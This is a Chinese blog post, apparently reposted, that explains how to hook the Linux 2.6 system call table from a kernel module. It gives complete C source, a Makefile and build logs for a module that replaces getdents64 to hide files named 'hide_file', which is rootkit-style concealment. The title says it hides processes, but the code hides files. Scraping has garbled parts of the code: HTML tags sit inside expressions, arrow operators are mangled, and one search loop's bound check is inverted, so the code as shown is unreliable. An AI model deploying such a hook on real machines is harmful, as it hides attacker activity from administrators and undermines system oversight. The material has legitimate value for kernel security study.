Linux 2.6 劫持系统调用 隐藏进程

Linux 2.6 劫持系统调用 隐藏进程

http://hi.baidu.com/widebright/item/e64b1c09b8a557dcdce5b060

很久以前写过一个在Windows系统上面隐藏文件的驱动,所以也想试一下Linux上面如何可以实现该功能。前几天看到Linux系统调用方面的文章,刚好看到相关的东西,所以就试了一下。还真的可以。这┨炜戳撕芏嘞喙氐奈恼拢 薹ㄒ灰涣谐隼矗 旅婧芏嗟胤接玫降暮 捕际歉粗苹蛘卟慰剂吮鹑说拇 搿?总结一下吧。

1. 首先,要知道Linux系统里面有一个叫做sys_call_table这个系统调用列表的指针。其实就是很多系统调用函数的指针列表。 这个东西其实和Windows系统的SSDT几乎一样的东西,很多人也很喜欢去修改SSDT表进而做些猥琐的事情。把ssdt hook的方法用到sys_call_table上面,也可以做到替换文件查询函数,就可以做到隐藏文件。

2. sys_call_table 这个指针有很多方法可以得到的,2.4内核还是导出的,直接用就行,2.6内核上面就要自己写代码来找了,有很多方法,根据0x80中断的处理函数来搜索指令,或者读/proc/kallsyms 得到sysenter_entry 地址在搜索得到sys_call_table

3.知道sys_call_table 就可以替换相关的系统调用函数来隐藏文件了。

可以通过strace 命令来查看某个程序或者命令调用了哪些syscall 函数。

运行“strace ls” 可以看到ls命令是调用了getdents64这个函数来得到文件夹下面的文件的,所以我们只要拦截这个系统调用,然后做些处理就行了。具体实现看代码就知道了。不过很有意思的,发现Linux查找文件夹所有文件时函数返回的那个文件列表缓存结构和Windows里面采用的都是很类似的,都是一个列表结构,隐藏文件所采用的方法也几乎一成不变的移植过来使用。其实Windows和Linux很多思想或概念都是很类似的,可能一方出现某个优秀的想法也会被其他人学习使用吧。

4. 网上很多人说可以使用ptrace函数来做到同样的拦截系统调用的效果,我也去看了一下相关文档,发现ptrace更像是Linux提供给用户空间程序调试另外一个程序的接口。确实可以用来做到检测程序调用了哪些系统调用函数(不知道strace是不是就是通过这个来做的),不过用来实现拦截系统调用,可能比较复杂,至少我这么认为,还不如sys_call_table的方法来的简单。ptrace更重要的目的是调试功能,比如向另外一个进程空间读写数据等,设置调试断点等等。感兴趣的可以自己搜索一下。

5. 网上还有直接同过修改内核镜像设备的内存映射 /dev/kmem 来实现拦截系统调用的方法。有优点是在普通的用户程序里面就可以做,不用写内核模块,不过需要跟多的技巧,可以自己搜索一下。

6. Linux的编程,相对Windows来说还是很方便的,开发工具用系统里面的gcc就可以了,不想Windows要写个驱动要找半天才能弄到个winDDK来玩。如果发现问题,还可以翻看对应的内核的源代码,看具体是怎么回事,不像Windows地球人都知道是不开源的了。不过Linux相对来说文档好像不是那么多,没有人专门去写MSDN这种帮助开发者学习的文档吧,有的函数搜索半天也搜索不到一个说明,你就算直接去看内核源代码也是很不方便的。

具体的代码如下:

====================================================

#include 
#include 
#include 
#include


//sys_read sys_open等系统调用函数
#include    
#include

//flags e.g. O_RDWR , O_EXCL
#include 
#include 
#include

//get_ds() set_fs() get_fs()
#include 
#include

#include //for kmalloc and kfree


/*在内核 版本为linux-2.6.25.7的内核源代码的arch/x86/kernel/entry_32.S 文件中 可以看到 
sysenter call 和 system_call 的处理部分的源代码

-------------

# system call handler stub
ENTRY(system_call)
RING0_INT_FRAME    # can't unwind into user space anyway
pushl %eax    # save orig_eax
CFI_ADJUST_CFA_OFFSET 4
SAVE_ALL
GET_THREAD_INFO(%ebp)
# system call tracing in operation / emulation
Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb 
testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
jnz syscall_trace_entry
cmpl $(nr_syscalls), %eax
jae syscall_badsys
syscall_call:
call *sys_call_table(,%eax,4)            这里可以得到地址的位置
movl %eax,PT_EAX(%esp)   # store the return value
syscall_exit:
LOCKDEP_SYS_EXIT
DISABLE_INTERRUPTS(CLBR_ANY) # make sure we don't miss an interrupt
# setting need_resched or sigpending
-------------------------
可以看到最后都是跳转大到sys_call_table 指定的地址上去
arch/x86/kernel/traps_32.c 中的trap_init 函数中可以看到设置
set_system_gate(SYSCALL_VECTOR,&system_call);
这是设置0x80号中断为system_call 函数来处理的
在asm-x86/hw_irq_64.h 文件中有
#define IA32_SYSCALL_VECTOR 0x80
的定义

ls
arch     crypto         include kernel       Makefile        net             scripts     usr
block    Documentation init     lib          mm              README          security    virt
COPYING drivers        ipc      lost+found   modules.order   REPORTING-BUGS sound       vmlinux
CREDITS fs             Kbuild   MAINTAINERS Module.symvers samples         System.map vmlinux.o


gdb -q vmlinux
(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0104df0 : push   %eax
0xc0104df1 : cld    
0xc0104df2 : push   %fs
0xc0104df4 : push   %es
0xc0104df5 : push   %ds
0xc0104df6 : push   %eax
0xc0104df7 : push   %ebp
0xc0104df8 : push   %edi
0xc0104df9 : push   %esi
0xc0104dfa : push   %edx
0xc0104dfb : push   %ecx
0xc0104dfc : push   %ebx
0xc0104dfd : mov    $0x7b,%edx
0xc0104e02 : mov    %edx,%ds
0xc0104e04 : mov    %edx,%es
0xc0104e06 : mov    $0xd8,%edx
0xc0104e0b : mov    %edx,%fs
0xc0104e0d : mov    $0xffffe000,%ebp
0xc0104e12 : and    %esp,%ebp
0xc0104e14 : testw $0xe1,0x8(%ebp)
0xc0104e1a : jne    0xc0104f40 
0xc0104e20 : cmp    $0x147,%eax
0xc0104e25 : jae    0xc0104fca 
0xc0104e2b : call   *-0x3fcde780(,%eax,4)          这里就是sys_call_table 的位置
0xc0104e32 : mov    %eax,0x18(%esp)
0xc0104e36 : push   %eax
0xc0104e37 : push   %edi
0xc0104e38 : push   %ecx
0xc0104e39 : push   %edx
0xc0104e3a : call   *%cs:0xc03ebd44
0xc0104e41 : pop    %edx
0xc0104e42 : pop    %ecx
0xc0104e43 : pop    %edi
0xc0104e44 : pop    %eax
0xc0104e45 : testl $0x100,0x34(%esp)
0xc0104e4d : je     0xc0104e53 
0xc0104e4f : orl    $0x8,0x8(%ebp)


(gdb) x/xw system_call+59
0xc0104e2b : 0x808514ff           下面就是通过查找这个指令来得到*sys_call_table 的值

(gdb) x/xw 0xc0104e2e
0xc0104e2e : 0xc0321880              这个即是sys_call_table 的值

*/
/*
extern void * sys_call_table[];

2.6内核中 sys_call_table 的地址已经不被导出了,可以在System.map 找到,
但你要确保这个System.map 是和当前的系统内核是对应的才行
桌面/驱动学习# cat /boot/System.map-2.6.24-18-generic | grep sys_call
c0325520 R sys_call_table

运行时可以根据/proc/kallsyms 来得到正确的地址
桌面/驱动学习# grep sysenter_entry /proc/kallsyms
c0104350 T sysenter_entry

桌面/驱动学习# cat /proc/kallsyms |grep sys_call_table
c0325520 R sys_call_table

1。从 System.map 文件直接得到地址。 
例如,要得到 do_fork 的地址,可以在命令行执行 $grep do_fork /usr/src/linux/System.map 。 
2。使用 nm 命令。 
$nm vmlinuz |grep do_fork 
3。从 /proc/kallsyms 文件获得地址。 2.4版本的内核是/proc/ksyms 文件
$cat /proc/kallsyms |grep do_fork 
4。使用 kallsyms_lookup_name() 例程。 
这个例程是在 kernel/kallsyms.c 文件中定义的,要使用它,必须启用 CONFIG_KALLSYMS 编译内核。 kallsyms_lookup_name() 接受一个字符串格式内核例程名,返回那个内核例程的地址。例如: kallsyms_lookup_name("do_fork");

*/


void ** sys_call_table;   /*保存获取到的sys_call_table 指针*/

asmlinkage long (*orig_getdents64)(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count); /*保存原来系统调用函数getdents64的地址*/

/*
struct linux_dirent64 {
u64 d_ino;                //inode number 
s64 d_off;                 // offset to next dirent   ,这个不知道是什么来,数值一直都很大,估计是磁盘上的偏移?
unsigned short d_reclen;   // length of this dirent 
unsigned char d_type;
char d_name[0];            //filename (null-terminated)
};
*/

// 中断描述符表寄存器结构

struct _idtr{

unsigned short limit;

unsigned int base;

} __attribute__((packed)) idtr ; //取消内存字节对齐,这样 sizeof(struct _idtr)=6,否则sizeof(struct _idtr)=8,实际执行时就会出错

// 中断描述符表结构
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} __attribute__((packed));

/*通过0x80中断得到system_call 函数地址*/
void *get_system_call(void)
{       
struct idt_descriptor * idt;
void *addr=NULL;

asm ("sidt %0" : "=m" (idtr)); 
idt = (void*)((unsigned long*)(idtr.base));
printk("idt : %x\n", (unsigned int)idt);   //在virtualbox虚拟机上这个不能获取到正确的值

addr = (void*)(((unsigned int )idt[0x80].off_low) | 
   (((unsigned int)idt[0x80].off_high) < br style='font-size:14px;font-style:normal;font-weight:normal;color:rgb(69, 69, 69);' />printk("system_call entry: %x\n", (unsigned int) addr);

        //printk("size of _idtr: %d\n", sizeof(struct _idtr)); 
return   addr;
}

/* 得到 sys_call_table 列表指针 */
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
int count = 0;

p = (unsigned char *) system_call;

/*
* 查找机器码得到 sys_call_table 的地址
* `call sys_call_table(, %eax, 4)` 
*/
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
{
   p++;
   if (count++ < 500)
   {
    count = -1;
    break;
   }
}

if (count != -1)
{
   p += 3;
   s_c_t = *((unsigned long *) p);
}
else
   s_c_t = 0;

return((void *) s_c_t);

}

/**
* 读取 /proc/kallsyms 文件,
* 从中解释出 sysenter 入口的地址, 成功就返回 地址,否则返回0

    # cat /proc/kallsyms | grep sysenter_entry
    c0104350 T sysenter_entry

*/
void * get_sysenter_entry(void)
{       
        void *sysenter_entry =NULL;     /*保存获取到的sysenter_entry入口地址*/
mm_segment_t old_fs;
       // int fd;
        char line[256];      
   int i = 0;
        struct file *file = NULL; //Stores information related to files opened by a process

        //配置段寄存器ds segment register
        //通知系统,以后的系统调用(read 等)参数,来自内核内存区,而不是用户内存区
        //因为默认系统会把,系统调用的参数单作来自用户空间的,会作一些检查,然后把他
        //转化成内核空间的地址。所以要通知他我们这里传的参数都是已经来自内核空间的了,他
         //才不会报错,专家的建议是尽量不要在内核中进行文件操作
old_fs = get_fs();
set_fs(get_ds());
        // sys_open 和sys_read 说是不推荐使用了 , 
        //fs/open.c 文件中有如下一句,
        //EXPORT_UNUSED_SYMBOL_GPL(sys_open); /* To be deleted for 2.6.25 */
        //从2.6.25中就不再导出这两个函数了,因为在内核中读取文件被认为是一种非常不好的办法。
        /* 下面这个方法在2.6.24版本的内核是还是可以正常工作的,下面用 filp_open 的方法来实现吧。
        fd = sys_open("/proc/kallsyms", O_RDONLY, 0);
        if (fd <= 0)
        {
               while (sys_read(fd, &line[i], 1) == 1)
               {       
                       if (line[i] == '\n')
                       {
                            line[i] ='\0';
                            i=0;
                            //到这里时,line中保存一行数据
                            if (strstr(line,"sysenter_entry") != NULL)
                            {   
                                sysenter_entry =(void *) simple_strtoul(line,NULL,16); 
                                break;   
                            }

                       }
                       if (i< 254 br style='font-size:14px;font-style:normal;font-weight:normal;color:rgb(69, 69, 69);' />                       {
                            i++;
                       }
               }

               sys_close(fd);
        }
        */

       file = filp_open("/proc/kallsyms",O_RDONLY,0);
       if (file ==NULL) return NULL;
       if (file-<f_op-<read ==NULL) return NULL;

       //每次从文件中读取一个字节到 line里面,&file-<f_pos 指定要开始读的位置,
       //可能这种方法比较地效率,不过还是可以正确工作的,也只在最开始的时候调用一次,应该问题不大
       while ( file-<f_op-<read(file, &line[i], 1,&file-<f_pos) == 1)
       {       
               if (line[i] == '\n')
               {
                   line[i] ='\0';
                   i=0;
                   //到这里时,line中保存一行数据
                   if (strstr(line,"sysenter_entry") != NULL)
                   {   
                        sysenter_entry =(void *) simple_strtoul(line,NULL,16); 
                        break;   
                   }

               }
              if (i< 254 br style='font-size:14px;font-style:normal;font-weight:normal;color:rgb(69, 69, 69);' />              {
                  i++;
              }
      }

      filp_close(file,NULL);
      set_fs(old_fs);       //还原最初的fs

     return sysenter_entry;
}


// asmlinkage告诉编译器所有的参数都是通过堆栈来传递,不要优化成使用寄存器的调用方式
///原本的sys_getdents64 在内核源代码的 fs/readdir.c 文件中定义
asmlinkage long my_getdents64(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count) 

unsigned int bufLength, recordLength, modifyBufLength;
struct linux_dirent64 * dirp2, *dirp3,
              *head = NULL, //进行修改时,指向正确的列表的头条记录
              *prev = NULL; //进行修改时,指向列表中上一项记录

char hide_file[]="hide_file"; /*我们要隐藏的文件名字*/

bufLength = (*orig_getdents64) (fd, dirp, count); /*调用原本函数得到文件夹信息*/
        //printk("bufLength:%u\n", bufLength);
        if (bufLength < return bufLength p>

        /*申请内核空间*/
dirp2 = (struct linux_dirent64 *)kmalloc(bufLength, GFP_KERNEL);
        if (!dirp2) return bufLength;
/* 把已经得到的文件夹信息从用户空间复制出来*/
if (copy_from_user(dirp2, dirp, bufLength) )
{
   printk("fail to copy dirp to dirp2 \n");
                return bufLength;
}

        head = dirp2;
        dirp3 = dirp2;
        modifyBufLength = bufLength;
while (((unsigned long )dirp3) < unsigned long dirp bufLengthbr style='font-size:14px;font-style:normal;font-weight:normal;color:rgb(69, 69, 69);' />{      
                recordLength = dirp3-<d_reclen;
                //printk("length:%u ",recordLength); 

   if ( recordLength == 0)
   {
    //有些文件系统getdents函数没能正确运行 
                        break;
   }
   // 是否是我们要隐藏的文件 
   if (strncmp(dirp3-<d_name, hide_file ,strlen(hide_file)) ==0)
   {        

                        if (!prev) //整个列表中的第一个记录就是我们要隐藏的文件
                        {
                              head = (struct linux_dirent64 *)((char *) dirp3 + recordLength);
                              modifyBufLength -= recordLength;

                        }
                        else{ // 修改前一个记录长度,去掉我们要隐藏的文件纪录 
                              prev-<d_reclen += recordLength;
                              memset(dirp3, 0, recordLength );
                        }

   }
                else
                {
                        prev= dirp3;
                }


                //继续下一条记录查找
        dirp3 = (struct linux_dirent64 *)
    ((char *) dirp3+ recordLength);
}

       // 用我们修改后的文件信息覆盖原有用户空间的文件信息 
        copy_to_user (dirp, head, modifyBufLength);
        kfree(dirp2);

return modifyBufLength;
}

int init_module(void) 
{

/*
/usr/include/sys/syscall.h   有system call函数的号码定义 , 
也可以写作 SYS__getdents64 的,不过都是在# include 里面定义的宏

在/usr/include/asm/unistd.h 有system call函数的号码定义
#define __NR_getdents64   220

*/

void *s_call, *sysenter_entry;

        //采用0x80系统中断获取system_call函数地址的方法来获取sys_call_table地址
s_call = get_system_call();    
        if (s_call ==NULL) return (-1);
sys_call_table = get_sys_call_table(s_call);
printk("sys_call_table: 0x%08x\n", (int) sys_call_table);

        //采用第二种方法来根据sysenter_entry地址来获取得到sys_call_table地址
        if (sys_call_table == NULL){ 

             sysenter_entry=get_sysenter_entry();
      printk("sysenter_entry: 0x%08x\n", (int) sysenter_entry);
             if (sysenter_entry ==NULL) return (-1);
      sys_call_table = get_sys_call_table(sysenter_entry);
      printk("sys_call_table: 0x%08x\n", (int) sys_call_table);

             if (sys_call_table ==NULL)
             {
           return(-1);    
             }
        }

       //检测获取到的地址是不是正确的,
       if (sys_call_table[__NR_close] != (unsigned long *)sys_close)
       {    
            printk("Incorrect sys_call_table address.\n");
            return -1;
       }

         //替换相关函数的调用地址表 
orig_getdents64=sys_call_table[__NR_getdents64]; 
sys_call_table[__NR_getdents64]=my_getdents64;

        return 0;


}

void cleanup_module(void) 

sys_call_table[__NR_getdents64]=orig_getdents64; 

}

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Hide file Kernel Module");
MODULE_AUTHOR("widebright");

===================Makefile内容============================

# If KERNELRELEASE is defined, we've been invoked from the

# kernel build system and can use its language.

ifneq ($(KERNELRELEASE),)

    obj-m := hook_system_call.o

# Otherwise we were called directly from the command

# line; invoke the kernel build system.

else

    KERNELDIR ?= /lib/modules/$(shell uname -r)/build

    PWD := $(shell pwd)

default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KERNELDIR) M=$(PWD) clean

endif

===================================================

桌面/驱动学习# make clean
make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 clean
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'
CLEAN   /home/widebright/桌面/驱动学习/.tmp_versions
CLEAN   /home/widebright/桌面/驱动学习/Module.symvers
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'
桌面/驱动学习# make
make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'
CC [M] /home/widebright/桌面/驱动学习/hook_system_call.o
Building modules, stage 2.
MODPOST 1 modules
CC      /home/widebright/桌面/驱动学习/hook_system_call.mod.o
LD [M] /home/widebright/桌面/驱动学习/hook_system_call.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'

然后用insmod命令加载驱动,就可以隐藏 hide_file开始的文件,在ubuntu8.04上面测试通过


你可能感兴趣的:(Linux 2.6 劫持系统调用 隐藏进程)